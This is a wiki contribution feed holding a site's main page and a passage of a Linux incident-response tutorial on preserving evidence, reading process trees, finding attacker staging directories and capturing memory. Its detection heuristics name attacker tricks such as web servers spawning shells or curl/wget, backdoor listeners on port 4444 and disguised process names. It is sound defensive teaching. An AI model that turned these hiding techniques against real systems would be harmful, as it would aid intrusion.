<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wikicyber.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=FlyingShrimps</id>
	<title>WikiCyber - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wikicyber.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=FlyingShrimps"/>
	<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php/Special:Contributions/FlyingShrimps"/>
	<updated>2026-11-08T16:24:45Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.46.0</generator>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=294</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=294"/>
		<updated>2026-10-16T20:21:07Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-corporate&amp;quot; aria-label=&amp;quot;Main page&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-hero&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-hero-inner&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;div&amp;gt;&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;p class=&amp;quot;hero-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore practical guidance on operating systems, network security, and digital forensics.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;hero-actions&amp;quot;&amp;gt;[[#topics|&amp;lt;span class=&amp;quot;button primary&amp;quot;&amp;gt;Explore the knowledge base &amp;lt;span aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8594;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;]][[Special:AllPages|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Read an article &amp;amp;#8599;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;hero-art&amp;quot; role=&amp;quot;img&amp;quot; aria-label=&amp;quot;WikiCyber connects operating systems, network security, and digital forensics knowledge&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-heading&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-brand&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;WikiCyber&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-core&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Knowledge from systems to security.&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;art-connector&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-branches&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-systems&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Operating systems&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-network&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Network security&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-forensics&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Digital forensics&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;knowledge-strip&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;knowledge-strip-inner&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Find the knowledge you need.&amp;lt;/strong&amp;gt;&amp;lt;div&amp;gt;[[:Category:Windows|Windows]][[:Category:Linux|Linux]][[:Category:Cisco|Cisco &amp;amp;amp; networking]][[:Category:Windows Forensics|Digital forensics]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;home-section&amp;quot; id=&amp;quot;topics&amp;quot; aria-labelledby=&amp;quot;topics-title&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;section-heading&amp;quot;&amp;gt;&amp;lt;h2 id=&amp;quot;topics-title&amp;quot;&amp;gt;Build on a stronger&amp;lt;br&amp;gt;technical foundation.&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;topic-grid&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8862;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;[[:Category:Windows|Explore Windows &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Permissions, services, account auditing, and practical command-line guidance.&amp;lt;/p&amp;gt;[[:Category:Linux|Explore Linux &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8984;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Networking concepts, routing, and the configuration behind secure connections.&amp;lt;/p&amp;gt;[[:Category:Cisco|Explore networking &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#9678;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Event logs, system artifacts, and methods for understanding what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore forensics &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&amp;lt;p id=&amp;quot;search-status&amp;quot; class=&amp;quot;muted&amp;quot; role=&amp;quot;status&amp;quot; aria-live=&amp;quot;polite&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-feature&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-feature-inner&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;h2&amp;gt;Follow the evidence.&amp;lt;br&amp;gt;Understand the system.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Bring structure to an investigation. Start with context, preserve what matters, and compare the records that help explain an event.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Explore the forensics collection &amp;amp;#8594;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;terminal&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;linux&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;span&amp;gt;# Establish a starting point&amp;lt;/span&amp;gt;&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;contribution-section&amp;quot; id=&amp;quot;contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Contribute your experience.&amp;lt;br&amp;gt;Help improve the reference.&amp;lt;/h2&amp;gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.&amp;lt;/p&amp;gt;[[Help:Your first article|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Writing your first article ?&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;corporate-rule&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=268</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=268"/>
		<updated>2026-10-02T23:37:56Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Requested review by FlyingShrimps: added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{submit}}&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
